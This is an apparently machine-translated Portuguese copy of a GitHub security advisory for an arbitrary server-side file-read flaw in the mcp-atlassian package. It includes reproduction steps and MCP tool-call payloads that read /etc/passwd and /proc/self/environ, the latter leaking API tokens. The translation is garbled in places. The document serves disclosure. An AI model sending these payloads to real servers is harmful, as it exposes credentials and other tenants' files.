GHSA-WM45-QH3G-V83F: mcp-atlassian: arquivo arbitrário do lado do servidor lido através do…

Um cliente que pode invocar ferramentas MCP pode ler ** arquivos arbitrários do servidor host** e exfiltrá- los como anexos Atlassian. As ferramentas de carregamento de anexos levam um `file_path` fornecido pelo cliente e `open()` no sistema de arquivos ** do servidor**. As ferramentas de upload são destinadas a anexar um arquivo do ambiente **laming** — o cliente fornece um caminho esperando que ele se refira à sua própria máquina. Em um transporte remoto (HTTP/ SSE) esse caminho é resolvido e lido no servidor, e a ferramenta não oferece nenhuma maneira para o cliente enviar o arquivo * conteúdo* em lugar de um caminho do lado do servidor. Um cliente remoto lê, portanto, os arquivos do servidor — e, em implantações multi- locatários, dados de outros locatários — em vez dos seus próprios. (Em uma implantação local de `stdio` o servidor é executado como usuário, por isso o caminho se refere aos arquivos próprios do usuário e a leitura de qualquer caminho é o comportamento pretendido; a exposição é específica para transportes remotos/multi- usuário.) As ferramentas de upload leram um caminho fornecido pelo cliente diretamente no servidor:.

- `src/mcp_atlassian/confluence/atchans.py` — `upload_atchans` → `_upload_atchans_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/atchans.py` — `upload_atchans` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` apenas normaliza o caminho; o arquivo é então aberto no servidor onde quer que ele aponte e seus bytes são enviados para o Atlassian como um anexo. Não há caminho que um cliente possa usar para fazer referência ao seu próprio sistema de arquivos, e não há opção de carregar conteúdo bruto em vez de um caminho lado servidor. Pontos de entrada recolhíveis para o cliente que atingem estes pias. - `Confluence_upload_atchment` → `ConfluenceFetcher.upload_atchment`. O campo `file_path` é documentado como "absoluto... ou relativo ao diretório de trabalho atual." - `confluence_upload_atachments` → loops sobre o mesmo lavatório. - `jira_update_issue` — o parâmetro `atachments` (array JSON ou lista de caminhos separados por vírgulas) flui através de `IssuesMixin.update_issue` → `self.upload_atachments` → o lavatório Jira. Não existe nenhuma ferramenta independente `jira_upload_ atchment`; `jira_update_issue` é o único ponto de entrada do Jira.

**Reprodução local**. Extrair `traversal_upload_atchment_file_read.zip`: ``` # Preencha as credenciais em docker-composte.yml; definir CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY em poc.sh docker compor -d # mcp-atlassian, streamable-http, 0.0.0.0, LEI_ONLY_MODE=false./poc.sh # sai 0 no sucesso ``` > Requer Docker, curl, jq e um site de nuvem Atlassian com uma página de Confluência e um problema Jira (trabalha livre). O script executa os passos abaixo e confirma a ida e volta `/etc/passwd`. Os anexos plantados são deixados intencionalmente no local para que possam ser confirmados na interface de usuário Atlassian.

Todas as chamadas são emitidas contra o transporte HTTP com `READ_ONLY_MODE=false` (o padrão). Passo 1 — leia `/etc/passwd` do servidor através do upload de Confluence: ``` req → tools/call confluence_upload_attachment { "content_id": " ", "file_path": "/etc/passwd" } ← { "message": "Atachment uploaded successfully", "attachment": { "sucesso": true, "filename": "passwd", "id": "att " } ```.

Passo 2 — recuperar o conteúdo exfiltrado de volta através do MCP (ver a ida e volta prova uma leitura real): ``` req → tools/call confluence_download_atchment { "atchment_id": "att " } ← base 64 Descodificação de recursos para: root: x: 0: 0:root:/root:/bin/ bash deemon:x: 1: 1:daemon:/usr/sbin:/usr/sbin/nologin... ``` Passo 3 — o mesmo primitivo através do ponto de entrada do Jira (segundo lavatório): ``` req → tools/call jira_update_issue { "issue_key": " ", "campos": "{}", "attaques": "/etc/passwd" } ← { "attachment_results": {... "sucesso": verdadeiro... } } ```.

Passo 4 — divulgação credencial através de `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": " ", "file_path": "/proc/self/environ" } ← sucesso; o anexo "environ" resultante contém o env do servidor, incluindo JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize`) relatórios 0 para procfs, mas o upload transmite o conteúdo real — o anexo mostra ~ 1 kB na interface de confluência.) Passo 5 — via relativa aceita (sem contenção): ``` req → tools/call confluence_upload_attachment { "content_id": " ", "file_path": "../../././etc/hostname" } ← sucesso — os caminhos relativos são resolvidos e lidos no servidor como os absolutos. ```.

Os arquivos carregados (`passwd`, `environ`, `hostname`) aparecem como anexos reais na página de Confluência, confirmando que o servidor os leu fora de seu próprio hospedeiro. Qualquer cliente que possa invocar as ferramentas de upload pode exfiltrar arquivos arbitrários legíveis pelo processo do servidor (por exemplo, `/etc/passwd`, `/proc/self/environ`, configuração de aplicativos, material chave). O envio `/proc/ self/ environ` revela as variáveis de ambiente do servidor — incluindo as credenciais configuradas `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — ou seja, as próprias credenciais Atlassianas do processo do servidor e quaisquer outros segredos na máquina. Em uma implantação HTTP multi- locatário, isso também quebra o isolamento do locatário: um cliente lê arquivos pertencentes à implantação ou a outros locatários.

O impacto de segurança concentra- se nas implantações de transporte remoto / HTTP (`sse`, `streamable-http`, predefinido bind ` 0.0.0.0 `), onde o `file_path` se resolve no servidor em vez do cliente. Em uma implantação de `stdio` de um único usuário, o caminho refere- se à máquina própria do usuário, por isso não há cruzamento de limites. Descoberto por [Francisco Rosales]( de [Segurança de Marifold](. Registro de aconselhamento: GHSA- wm 45 - qh 3 g-v 83 f. Não há nenhum identificador adicional listado.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 10 T 19: 34: 30.000 Z e lista a sua última modificação como 2026 - 07 - 10 T 19: 34: 30.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

Software afetado e informações de versão: pacote PyPI mcp-atlassian — ECOSYSTEM: introduzido 0, corrigido 0.22.0. Classificação e evidência: identificadores de fraqueza CWE- 22, CWE- 73. O registro contém 2 suporte de referências nestes tipos: WEB, PACKAGE.